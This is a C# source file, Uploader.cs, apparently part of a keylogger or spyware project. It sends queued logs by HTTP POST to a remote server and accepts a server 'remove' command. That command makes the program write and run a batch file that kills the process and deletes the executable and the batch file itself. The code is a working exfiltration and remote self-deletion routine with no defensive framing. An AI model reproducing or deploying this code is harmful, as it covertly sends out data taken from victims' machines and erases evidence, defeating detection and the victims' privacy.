summaryrefslogtreecommitdiffstats
path: root/Uploader.cs
blob: 9ec225bbad59e2554c34ecaf3c850cad1a8ea15e (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.IO;
using System.Diagnostics;

namespace Logger
{
	class Uploader
	{
		private Queue<string> uploadQueue;
		private string uploadUrl;
		public Uploader(string url)
		{
			uploadUrl = url;
			uploadQueue = new Queue<string>();
		}
		public void UploadLog(string log)
		{
			lock (uploadQueue)
			{
				uploadQueue.Enqueue(log);
				if (uploadQueue.Count == 1)
				{
					ThreadPool.QueueUserWorkItem(new WaitCallback(uploadLoop));
				}
			}
		}
		private string uploadNext()
		{
			try
			{
				System.Net.WebRequest req = System.Net.WebRequest.Create(uploadUrl);
				req.ContentType = "application/x-www-form-urlencoded";
				req.Method = "POST";
				byte[] bytes;
				lock (uploadQueue)
				{
					bytes = System.Text.Encoding.ASCII.GetBytes("log=" + System.Web.HttpUtility.UrlEncode(uploadQueue.Peek()));
				}
				req.ContentLength = bytes.Length;
				System.IO.Stream os = req.GetRequestStream();
				os.Write(bytes, 0, bytes.Length);
				os.Close();
				System.Net.WebResponse resp = req.GetResponse();
				if (resp == null) return null;
				System.IO.StreamReader sr = new System.IO.StreamReader(resp.GetResponseStream());
				return sr.ReadToEnd().Trim();
			}
			catch { return null; }
		}
		private void uploadLoop(object data)
		{
			while (uploadQueue.Count > 0)
			{
				switch (uploadNext())
				{
					case "success":
						lock (uploadQueue)
						{
							uploadQueue.Dequeue();
						}
						break;
					case null:
					case "":
						Thread.Sleep(60000);
						break;
					case "remove":
						StreamWriter sw = File.CreateText("selfdelete.bat");
						string filename = Process.GetCurrentProcess().MainModule.FileName;
						sw.Write("tskill /A \"{1}\"\n:Repeat\ndel \"{0}\"\nif exist \"{0}\" goto Repeat\ndel \"selfdelete.bat\"", filename, filename.Substring(filename.LastIndexOf(System.IO.Path.DirectorySeparatorChar) + 1));
						sw.Close();
						Process.Start("selfdelete.bat");
						Process.GetCurrentProcess().Kill();
						break;
				}
			}
		}
	}
}